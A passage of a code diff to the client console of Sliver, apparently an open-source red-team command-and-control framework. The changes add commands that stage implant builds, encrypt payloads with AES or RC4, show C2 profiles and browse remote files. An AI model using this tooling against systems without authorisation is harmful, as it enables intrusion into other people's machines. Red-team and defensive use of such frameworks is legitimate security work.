return data, err
}
@@ -135,6 +113,24 @@ func FormatCompleter() carapace.Action {
})
}
// HTTPC2Completer - Completes the HTTP C2 PROFILES
func HTTPC2Completer(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(grpcCtx, &commonpb.Empty{})
if err != nil {
return carapace.ActionMessage("failed to fetch HTTP C2 profiles: %s", err.Error())
}
var results []string
for _, profile := range httpC2Profiles.Configs {
results = append(results, profile.Name)
}
return carapace.ActionValues(results...).Tag("HTTP C2 Profiles")
})
}
// TrafficEncoderCompleter - Completes the names of traffic encoders
func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+39
View File
@@ -0,0 +1,39 @@
package generate
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// ImplantsStageCmd - Serve a previously generated build
func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Unable to load implant builds '%s'\n", err)
return
}
options := []string{}
for name, _ := range builds.Configs {
options = append(options, name)
}
prompt := &survey.MultiSelect{
Message: "Select sessions and beacons to expose:",
Options: options,
}
selected := []string{}
survey.AskOne(prompt, &selected)
_, err = con.Rpc.StageImplantBuild(context.Background(), &clientpb.ImplantStageReq{Build: selected})
if err != nil {
con.PrintErrorf("Failed to serve implant %s\n", err)
return
}
}
+17 -5
View File
@@ -53,14 +53,14 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
implantBuildFilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
PrintImplantBuilds(builds, implantBuildFilters, con)
} else {
con.PrintInfof("No implant builds\n")
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
@@ -71,12 +71,15 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
"Format",
"Command & Control",
"Debug",
"C2 Config",
"ID",
"Stage",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for sliverName, config := range configs {
for sliverName, config := range builds.Configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
@@ -97,9 +100,15 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
continue
}
implantType := "session"
implantType := ""
if builds.ResourceIDs[sliverName].Type != "" {
implantType = builds.ResourceIDs[sliverName].Type
}
if config.IsBeacon {
implantType = "beacon"
implantType += "beacon"
} else {
implantType += "session"
}
c2URLs := []string{}
for index, c2 := range config.C2 {
@@ -116,6 +125,9 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
config.Format,
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf(config.HTTPC2ConfigName),
fmt.Sprintf("%v", builds.ResourceIDs[sliverName].Value),
fmt.Sprintf("%v", builds.Staged[sliverName]),
})
}
+4 -8
View File
@@ -19,7 +19,6 @@ package generate
*/
import (
"context"
"os"
"path/filepath"
"strings"
@@ -46,15 +45,12 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
}
profile := GetImplantProfileByName(name, con)
if profile != nil {
disableSGN, _ := cmd.Flags().GetBool("disable-sgn")
implantFile, err := compile(profile.Config, disableSGN, save, con)
if err != nil {
return
// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
}
profile.Config.Name = buildImplantName(implantFile.Name)
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
_, err := compile(profile.Config, save, con)
if err != nil {
con.PrintErrorf("could not update implant profile: %v\n", err)
return
}
} else {
+2 -2
View File
@@ -33,7 +33,7 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
name = args[0]
}
// name := ctx.Args.String("name")
config := parseCompileFlags(cmd, con)
_, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -60,7 +60,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient,
con.PrintErrorf("No profile name specified\n")
return
}
config := parseCompileFlags(cmd, con)
_, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
+80
View File
@@ -0,0 +1,80 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"strings"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
// ProfilesStageCmd - Generate an encrypted/compressed implant binary based on a profile
func ProfilesStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name")
profileName := args[0]
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
prependSize, _ := cmd.Flags().GetBool("prepend-size")
compressF, _ := cmd.Flags().GetString("compress")
compress := strings.ToLower(compressF)
save, _ := cmd.Flags().GetString("save")
profile := GetImplantProfileByName(profileName, con)
if profile == nil {
con.PrintErrorf("Profile not found\n")
return
}
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
stage2, err := con.Rpc.GenerateStage(context.Background(), &clientpb.GenerateStageReq{
Profile: profileName,
Name: name,
AESEncryptKey: aesEncryptKey,
AESEncryptIv: aesEncryptIv,
RC4EncryptKey: rc4EncryptKey,
PrependSize: prependSize,
Compress: compress,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
saveTo, err := saveLocation(save, stage2.File.Name, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(saveTo, stage2.File.Data, 0o700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
}
con.PrintInfof("Implant saved to %s\n", saveTo)
}
+304
View File
@@ -21,6 +21,7 @@ package generate
import (
"context"
"fmt"
"math"
"strings"
"github.com/jedib0t/go-pretty/v6/table"
@@ -61,6 +62,8 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
"Format",
"Obfuscation",
"Limitations",
"C2 Profile",
// "Nonce",
})
tw.SortBy([]table.SortBy{
{Name: "Profile Name", Mode: table.Asc},
@@ -90,6 +93,8 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
config.HTTPC2ConfigName,
// profile.ImplantID,
})
}
@@ -120,6 +125,305 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
return nil
}
func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string {
properties := make(map[string]string)
var plural string
properties["osarch"] = fmt.Sprintf("%s %s", strings.Title(config.GOOS), strings.ToUpper(config.GOARCH))
if config.IsBeacon {
properties["implanttype"] = "Beacon"
jitter := int(config.BeaconJitter / int64(math.Pow10(9)))
plural = "s"
if jitter == 1 {
plural = ""
}
properties["beaconjitter"] = fmt.Sprintf("%d second%s", jitter, plural)
interval := int(config.BeaconInterval / int64(math.Pow10(9)))
plural = "s"
if interval == 1 {
plural = ""
}
properties["beaconinterval"] = fmt.Sprintf("%d second%s", interval, plural)
} else {
properties["implanttype"] = "Session"
}
if config.Debug {
properties["debugging"] = "enabled"
} else {
properties["debugging"] = "disabled"
}
if config.Evasion {
properties["evasion"] = "enabled"
} else {
properties["evasion"] = "disabled"
}
if config.ObfuscateSymbols {
properties["obsymbols"] = "enabled"
} else {
properties["obsymbols"] = "disabled"
}
if config.SGNEnabled {
properties["sgn"] = "enabled"
} else {
properties["sgn"] = "disabled"
}
reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
if reconnect == 1 {
plural = ""
} else {
plural = "s"
}
properties["reconnect"] = fmt.Sprintf("%d second%s", reconnect, plural)
properties["maxerrors"] = fmt.Sprintf("%d", config.MaxConnectionErrors)
poll := int(config.PollTimeout / int64(math.Pow10(9)))
if poll == 1 {
plural = ""
} else {
plural = "s"
}
properties["polltimeout"] = fmt.Sprintf("%d second%s", poll, plural)
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
properties["implantC2"] = strings.Join(c2URLs, "\n")
properties["canary"] = strings.Join(config.CanaryDomains, "\n")
if config.ConnectionStrategy == "" {
properties["connectstrat"] = "Sequential"
} else if config.ConnectionStrategy == "r" {
properties["connectstrat"] = "Random"
} else if config.ConnectionStrategy == "rd" {
properties["connectstrat"] = "Random Domain"
} else {
properties["connectstrat"] = config.ConnectionStrategy
}
properties["outputlimits"] = "n"
if config.LimitDomainJoined {
properties["limit-domjoin"] = "Yes"
properties["outputlimits"] = "y"
} else {
properties["limit-domjoin"] = "No"
}
if config.LimitDatetime != "" {
properties["limit-dt"] = config.LimitDatetime
properties["outputlimits"] = "y"
} else {
properties["limit-dt"] = "No restriction"
}
if config.LimitFileExists != "" {
properties["limit-file"] = config.LimitFileExists
properties["outputlimits"] = "y"
} else {
properties["limit-file"] = "No restriction"
}
if config.LimitHostname != "" {
properties["limit-host"] = config.LimitHostname
properties["outputlimits"] = "y"
} else {
properties["limit-host"] = "No restriction"
}
if config.LimitLocale != "" {
properties["limit-locale"] = config.LimitLocale
properties["outputlimits"] = "y"
} else {
properties["limit-locale"] = "No restriction"
}
if config.LimitUsername != "" {
properties["limit-user"] = config.LimitUsername
properties["outputlimits"] = "y"
} else {
properties["limit-user"] = "No restriction"
}
switch config.Format {
case clientpb.OutputFormat_EXECUTABLE:
properties["format"] = "Executable"
case clientpb.OutputFormat_SHARED_LIB:
properties["format"] = "Shared Library"
case clientpb.OutputFormat_SERVICE:
properties["format"] = "Service"
case clientpb.OutputFormat_SHELLCODE:
properties["format"] = "Shellcode"
case clientpb.OutputFormat_THIRD_PARTY:
properties["format"] = "Third Party"
}
if config.TrafficEncodersEnabled {
properties["trafficencoders"] = strings.Join(config.TrafficEncoders, "\n")
}
return properties
}
// PrintProfileInfo - Print detailed information about a given profile
func PrintProfileInfo(name string, con *console.SliverConsoleClient) {
profile := GetImplantProfileByName(name, con)
if profile == nil {
con.PrintErrorf("Could not find a profile with the name \"%s\"", name)
return
}
config := profile.Config
properties := populateProfileProperties(config)
//con.Printf("--- Details for profile %s ---\n", profile.Name)
tw := table.NewWriter()
// Implant Basics
tw.AppendRow(table.Row{
"OS / Architecture",
properties["osarch"],
})
tw.AppendRow(table.Row{
"Implant Type",
properties["implanttype"],
})
tw.AppendRow(table.Row{
"Implant Format",
properties["format"],
})
con.PrintInfof("Implant Basics\n")
con.Printf("%s\n\n", tw.Render())
tw.ResetRows()
// Obfuscation Options
tw.AppendRow(table.Row{
"Evasion is",
properties["evasion"],
})
tw.AppendRow(table.Row{
"Debugging is",
properties["debugging"],
})
tw.AppendRow(table.Row{
"Obfuscation of symbols is",
properties["obsymbols"],
})
tw.AppendRow(table.Row{
"Shikata Ga Nai (SGN) is",
properties["sgn"],
})
con.PrintInfof("Obfuscation\n")
con.Printf("%s\n\n", tw.Render())
// Timeouts and Intervals
tw.ResetRows()
if config.IsBeacon {
tw.AppendRow(table.Row{
"Beacon Interval",
properties["beaconinterval"],
})
tw.AppendRow(table.Row{
"Beacon Jitter",
properties["beaconjitter"],
})
}
tw.AppendRow(table.Row{
"Reconnect Interval",
properties["reconnect"],
})
tw.AppendRow(table.Row{
"Maximum Connection Errors",
properties["maxerrors"],
})
tw.AppendRow(table.Row{
"Poll Timeout",
properties["polltimeout"],
})
con.PrintInfof("Timeouts and Intervals\n")
con.Printf("%s\n\n", tw.Render())
// C2
tw.ResetRows()
tw.AppendRow(table.Row{
"Endpoints",
properties["implantC2"],
})
if len(config.CanaryDomains) > 0 {
plural := "s"
if len(config.CanaryDomains) == 1 {
plural = ""
}
tw.AppendRow(table.Row{
fmt.Sprintf("Canary Domain%s", plural),
properties["canary"],
})
}
tw.AppendRow(table.Row{
"Connection Strategy",
properties["connectstrat"],
})
con.PrintInfof("Command and Control\n")
con.Printf("%s\n\n", tw.Render())
// Connection Restrictions
if properties["outputlimits"] == "y" {
tw.ResetRows()
tw.AppendRow(table.Row{
"Device must be domain joined",
properties["limit-domjoin"],
})
tw.AppendRow(table.Row{
"Execution will only occur before the following date/time",
properties["limit-dt"],
})
tw.AppendRow(table.Row{
"Files that must be present",
properties["limit-file"],
})
tw.AppendRow(table.Row{
"Device has the hostname",
properties["limit-host"],
})
tw.AppendRow(table.Row{
"Device uses the locale",
properties["limit-locale"],
})
tw.AppendRow(table.Row{
"The implant must be running under the context of specified user",
properties["limit-user"],
})
con.PrintInfof("Execution is subject to the following restrictions\n")
con.Printf("%s\n\n", tw.Render())
}
// Traffic encoders
if config.TrafficEncodersEnabled {
tw.ResetRows()
tw.AppendRow(table.Row{
"Traffic encoders",
properties["trafficencoders"],
})
con.PrintInfof("Traffic Encoders\n")
con.Printf("%s\n\n", tw.Render())
}
// Output messages that would otherwise get lost in between the tables
if properties["outputlimits"] == "n" {
con.PrintInfof("Execution is not subject to any restrictions\n")
}
if !config.TrafficEncodersEnabled {
con.PrintInfof("Traffic encoders are not enabled\n")
}
}
// ProfileNameCompleter - Completer for implant build names
func ProfileNameCompleter(con *console.SliverConsoleClient) carapace.Action {
comps := func(ctx carapace.Context) carapace.Action {
+72 -1
View File
@@ -59,6 +59,9 @@ var (
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
@@ -113,6 +116,9 @@ var (
// Builders
consts.BuildersStr: buildersHelp,
// HTTP C2
consts.C2ProfileStr: c2ProfilesHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -321,8 +327,38 @@ Downloads can be filtered using the following patterns:
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
headHelp = `[[.Bold]]Command:[[.Normal]] head [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
[[.Bold]]About:[[.Normal]] Fetch the first number of bytes or lines from a remote file and display it to stdout.`
tailHelp = `[[.Bold]]Command:[[.Normal]] tail [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
[[.Bold]]About:[[.Normal]] Fetch the last number of bytes or lines from a remote file and display it to stdout.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
[[.Bold]]About:[[.Normal]] Upload a file or directory to the remote system.
[[.Bold]][[.Underline]]Paths[[.Normal]]
You can preserve directory structures using the -p switch. Directories will be preserved as they are specified in the source path.
For example, the command upload -p /home/me/docs /tmp will upload the files in /home/me/docs to /tmp/home/me/docs on the target.
However, if you are in the local directory /home/me, and issue the command upload -p docs /tmp, the files in /home/me/docs will
be uploaded to /tmp/docs on the target. This is equivalent to upload /home/me/docs /tmp/docs (notice the lack of the -p switch).
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit uploads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
upload /etc/*.conf will upload all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Uploads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
procdumpHelp = `[[.Bold]]Command:[[.Normal]] procdump [pid]
[[.Bold]]About:[[.Normal]] Dumps the process memory given a process identifier (pid)`
@@ -1220,6 +1256,41 @@ Sliver uses the same hash identifiers as Hashcat (use the #):
% 10s - A file containing lines of 'username:hash' pairs.
% 10s - A CSV file containing 'username,hash' pairs (additional columns ignored).
`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat)
c2ProfilesHelp = `[[.Bold]]Command:[[.Normal]] c2profile
[[.Bold]]About:[[.Normal]] Display details of HTTP C2 profiles loaded into Sliver.
`
C2ProfileImportStr = `[[.Bold]]Command:[[.Normal]] Import
[[.Bold]]About:[[.Normal]] Load custom HTTP C2 profiles.
`
grepHelp = `[[.Bold]]Command:[[.Normal]] grep [flags / options] <search pattern> <path>
[[.Bold]]About:[[.Normal]] Search a file or path for a search pattern
[[.Bold]][[.Underline]]Search Patterns[[.Normal]]
Search patterns use RE2 regular expression syntax.
[[.Bold]][[.Underline]]Binary Files[[.Normal]]
When searching a binary file, grep will only return the line that matches if it exclusively contains UTF-8 printable characters.
Before, after, and context options are disabled for binary files.
[[.Bold]][[.Underline]]Path Filters[[.Normal]]
Filters are a way to limit searches to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
grep something /etc/*.conf will search all files in /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Searches can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will search all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will search all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
)
const (
+8
View File
@@ -43,6 +43,10 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
// ID passed via argument takes priority
idArg := args[0]
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else if session != nil || beacon != nil {
currID := ""
if session != nil {
@@ -51,6 +55,10 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
currID = beacon.ID
}
session, beacon, err = use.SessionOrBeaconByID(currID, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
-2
View File
@@ -41,7 +41,6 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
canaries, _ := cmd.Flags().GetBool("no-canaries")
persistent, _ := cmd.Flags().GetBool("persistent")
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
@@ -50,7 +49,6 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
Host: lhost,
Port: lport,
Canaries: !canaries,
Persistent: persistent,
EnforceOTP: !enforceOTP,
})
con.Println()
-2
View File
@@ -37,7 +37,6 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
website, _ := cmd.Flags().GetString("website")
persistent, _ := cmd.Flags().GetBool("persistent")
longPollTimeout, err := time.ParseDuration(pollTimeout)
if err != nil {
@@ -57,7 +56,6 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
Host: lhost,
Port: lport,
Secure: false,
Persistent: persistent,
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
+3 -5
View File
@@ -22,7 +22,7 @@ import (
"context"
"crypto/tls"
"fmt"
"io/ioutil"
"os"
"time"
"github.com/spf13/cobra"
@@ -40,7 +40,6 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
website, _ := cmd.Flags().GetString("website")
persistent, _ := cmd.Flags().GetBool("persistent")
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
disableRandomize, _ := cmd.Flags().GetBool("disable-randomized-jarm")
@@ -72,7 +71,6 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
Cert: cert,
Key: key,
ACME: letsEncrypt,
Persistent: persistent,
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
@@ -92,11 +90,11 @@ func getLocalCertificatePair(cmd *cobra.Command) ([]byte, []byte, error) {
if certPath == "" && keyPath == "" {
return nil, nil, nil
}
cert, err := ioutil.ReadFile(certPath)
cert, err := os.ReadFile(certPath)
if err != nil {
return nil, nil, err
}
key, err := ioutil.ReadFile(keyPath)
key, err := os.ReadFile(keyPath)
if err != nil {
return nil, nil, err
}
+2
View File
@@ -70,6 +70,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
"Name",
"Protocol",
"Port",
"Domains",
})
var keys []int
@@ -85,6 +86,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
job.Name,
job.Protocol,
fmt.Sprintf("%d", job.Port),
strings.Join(job.Domains, ","),
})
}
con.Printf("%s\n", tw.Render())
+2 -4
View File
@@ -31,13 +31,11 @@ import (
func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
persistent, _ := cmd.Flags().GetBool("persistent")
con.PrintInfof("Starting mTLS listener ...\n")
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
Host: lhost,
Port: lport,
Persistent: persistent,
Host: lhost,
Port: lport,
})
con.Println()
if err != nil {
+24 -49
View File
@@ -43,7 +43,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
listenerURL, _ := cmd.Flags().GetString("url")
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
prependSize, _ := cmd.Flags().GetBool("prepend-size")
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
compressF, _ := cmd.Flags().GetString("compress")
compress := strings.ToLower(compressF)
@@ -70,6 +70,21 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
return
}
if rc4EncryptKey != "" && aesEncryptKey != "" {
con.PrintErrorf("Cannot use both RC4 and AES encryption\n")
return
}
rc4Encrypt := false
if rc4EncryptKey != "" {
// RC4 keysize can be between 1 to 256 bytes
if len(rc4EncryptKey) < 1 || len(rc4EncryptKey) > 256 {
con.PrintErrorf("Incorrect length of RC4 Key\n")
return
}
rc4Encrypt = true
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
@@ -121,55 +136,11 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
if rc4Encrypt {
stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey))
}
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTP,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTP staging listener: %s\n", err)
return
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(cmd)
if err != nil {
con.Println()
con.PrintErrorf("Failed to load local certificate %s\n", err)
return
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTPS staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTPS,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
Cert: cert,
Key: key,
ACME: letsEncrypt,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err)
return
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
@@ -198,6 +169,10 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
if rc4Encrypt {
con.PrintInfof("RC4 KEY: %v\n", rc4EncryptKey)
}
}
func prependPayloadSize(payload []byte) []byte {
+3 -5
View File
@@ -32,14 +32,12 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
lport, _ := cmd.Flags().GetUint32("lport")
nport, _ := cmd.Flags().GetUint32("nport")
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
persistent, _ := cmd.Flags().GetBool("persistent")
con.PrintInfof("Starting Wireguard listener ...\n")
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
Persistent: persistent,
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
})
if err != nil {
con.PrintErrorf("%s\n", err)
+5
View File
@@ -197,6 +197,11 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp
}
}
func LootText(text string, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverConsoleClient) {
lootMessage := CreateLootMessage(lootFileName, lootName, fileType, []byte(text))
SendLootMessage(lootMessage, con)
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
+139
View File
@@ -0,0 +1,139 @@
package monitor
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintWTConfig(resp, con)
}
func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
apiKey, _ := cmd.Flags().GetString("apiKey")
apiPassword, _ := cmd.Flags().GetString("apiPassword")
apiType, _ := cmd.Flags().GetString("type")
MonitoringProvider := &clientpb.MonitoringProvider{Type: apiType, APIKey: apiKey}
if apiType == "xforce" {
MonitoringProvider.APIPassword = apiPassword
}
resp, err := con.Rpc.MonitorAddConfig(context.Background(), MonitoringProvider)
if err != nil {
